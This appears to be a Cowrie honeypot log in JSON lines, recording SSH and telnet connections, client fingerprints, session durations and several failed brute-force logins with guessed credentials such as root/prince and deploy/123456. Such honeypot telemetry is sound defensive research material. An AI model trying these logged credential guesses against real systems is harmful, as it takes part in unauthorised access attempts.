{"eventid":"cowrie.session.closed","duration":46.15570521354675,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:47.665046Z","src_ip":"152.42.224.71","session":"267cdddae0ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":44426,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ebf2a598d65","protocol":"ssh","message":"New connection: 31.40.204.166:44426 (159.203.135.109:22) [session: 2ebf2a598d65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:48.287002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:48.494503Z","src_ip":"31.40.204.166","session":"2ebf2a598d65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:48.522820Z","src_ip":"31.40.204.166","session":"2ebf2a598d65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456","message":"login attempt [deploy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:49.198926Z","src_ip":"31.40.204.166","session":"2ebf2a598d65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55820,"dst_ip":"10.17.0.5","dst_port":23,"session":"60c5f3ea2d67","protocol":"telnet","message":"New connection: 152.42.224.71:55820 (10.17.0.5:23) [session: 60c5f3ea2d67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:49.310523Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:50.513809Z","src_ip":"31.40.204.166","session":"2ebf2a598d65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.27721166610718,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:52.899026Z","src_ip":"152.42.224.71","session":"0bf9bcd1e91b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55828,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e48f234ea63","protocol":"telnet","message":"New connection: 152.42.224.71:55828 (10.17.0.5:23) [session: 5e48f234ea63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:53.183198Z"}
{"eventid":"cowrie.session.closed","duration":49.521756649017334,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:54.295269Z","src_ip":"152.42.224.71","session":"26abbfd740a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.767070055007935,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:31:58.081917Z","src_ip":"152.42.224.71","session":"9c8b7a3490f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":36546,"dst_ip":"159.203.135.109","dst_port":22,"session":"5cef8946010a","protocol":"ssh","message":"New connection: 31.40.204.166:36546 (159.203.135.109:22) [session: 5cef8946010a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:00.883018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:00.897188Z","src_ip":"31.40.204.166","session":"5cef8946010a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:01.009072Z","src_ip":"31.40.204.166","session":"5cef8946010a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gbase","password":"gbase","message":"login attempt [gbase/gbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:01.608600Z","src_ip":"31.40.204.166","session":"5cef8946010a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:03.096004Z","src_ip":"31.40.204.166","session":"5cef8946010a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.45913076400757,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:03.740361Z","src_ip":"152.42.224.71","session":"8be6774e3b30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36386,"dst_ip":"10.17.0.5","dst_port":23,"session":"0833f94ab8d3","protocol":"telnet","message":"New connection: 152.42.224.71:36386 (10.17.0.5:23) [session: 0833f94ab8d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:07.458261Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":34564,"dst_ip":"10.17.0.5","dst_port":22,"session":"4dd9ed768a8a","protocol":"ssh","message":"New connection: 103.91.246.101:34564 (10.17.0.5:22) [session: 4dd9ed768a8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:11.864761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:11.870687Z","src_ip":"103.91.246.101","session":"4dd9ed768a8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:12.087183Z","src_ip":"103.91.246.101","session":"4dd9ed768a8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36392,"dst_ip":"10.17.0.5","dst_port":23,"session":"03534945b62d","protocol":"telnet","message":"New connection: 152.42.224.71:36392 (10.17.0.5:23) [session: 03534945b62d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:12.746056Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"janice123","message":"login attempt [root/janice123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:12.982110Z","src_ip":"103.91.246.101","session":"4dd9ed768a8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":57520,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ba8f6b0958d","protocol":"ssh","message":"New connection: 31.40.204.166:57520 (159.203.135.109:22) [session: 9ba8f6b0958d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:12.986940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:13.115338Z","src_ip":"31.40.204.166","session":"9ba8f6b0958d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:13.120535Z","src_ip":"31.40.204.166","session":"9ba8f6b0958d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36400,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd5cf6c85f0e","protocol":"telnet","message":"New connection: 152.42.224.71:36400 (10.17.0.5:23) [session: bd5cf6c85f0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:13.331504Z"}
{"eventid":"cowrie.login.failed","username":"gd","password":"gd","message":"login attempt [gd/gd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:13.907994Z","src_ip":"31.40.204.166","session":"9ba8f6b0958d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:14.201566Z","src_ip":"103.91.246.101","session":"4dd9ed768a8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.891727924346924,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:14.852799Z","src_ip":"152.42.224.71","session":"42b293bc3316","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:15.099858Z","src_ip":"31.40.204.166","session":"9ba8f6b0958d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36406,"dst_ip":"10.17.0.5","dst_port":23,"session":"03d0842eb8ad","protocol":"telnet","message":"New connection: 152.42.224.71:36406 (10.17.0.5:23) [session: 03d0842eb8ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:15.270584Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35148,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf672bd44c53","protocol":"telnet","message":"New connection: 152.42.224.71:35148 (10.17.0.5:23) [session: cf672bd44c53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:18.230702Z"}
{"eventid":"cowrie.session.closed","duration":114.48178553581238,"message":"Connection lost after 114 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:19.235642Z","src_ip":"152.42.224.71","session":"73279252e25c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35150,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a5ceaaa2407","protocol":"telnet","message":"New connection: 152.42.224.71:35150 (10.17.0.5:23) [session: 6a5ceaaa2407]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:19.894908Z"}
{"eventid":"cowrie.session.closed","duration":107.02363896369934,"message":"Connection lost after 107 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:20.143679Z","src_ip":"152.42.224.71","session":"f029c5996bfb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.297391176223755,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:20.368430Z","src_ip":"152.42.224.71","session":"3a48d5cd0102","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.96.97","src_port":35242,"dst_ip":"10.17.0.5","dst_port":22,"session":"1314b599f331","protocol":"ssh","message":"New connection: 43.156.96.97:35242 (10.17.0.5:22) [session: 1314b599f331]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:22.769155Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:22.777559Z","src_ip":"43.156.96.97","session":"1314b599f331","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:23.008055Z","src_ip":"43.156.96.97","session":"1314b599f331","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.853195905685425,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:23.663695Z","src_ip":"152.42.224.71","session":"f3159a18c8b0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"prince","message":"login attempt [root/prince] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:23.960679Z","src_ip":"43.156.96.97","session":"1314b599f331","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:25.194757Z","src_ip":"43.156.96.97","session":"1314b599f331","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":42114,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9a19f255701","protocol":"ssh","message":"New connection: 31.40.204.166:42114 (159.203.135.109:22) [session: e9a19f255701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:25.486882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:25.491531Z","src_ip":"31.40.204.166","session":"e9a19f255701","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:25.621363Z","src_ip":"31.40.204.166","session":"e9a19f255701","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":55678,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e06793c3046","protocol":"ssh","message":"New connection: 190.85.41.170:55678 (10.17.0.5:22) [session: 8e06793c3046]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:25.826178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:25.830759Z","src_ip":"190.85.41.170","session":"8e06793c3046","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:25.905438Z","src_ip":"190.85.41.170","session":"8e06793c3046","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47514,"dst_ip":"10.17.0.5","dst_port":23,"session":"29232c61e385","protocol":"telnet","message":"New connection: 152.42.224.71:47514 (10.17.0.5:23) [session: 29232c61e385]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:32:26.072179Z"}
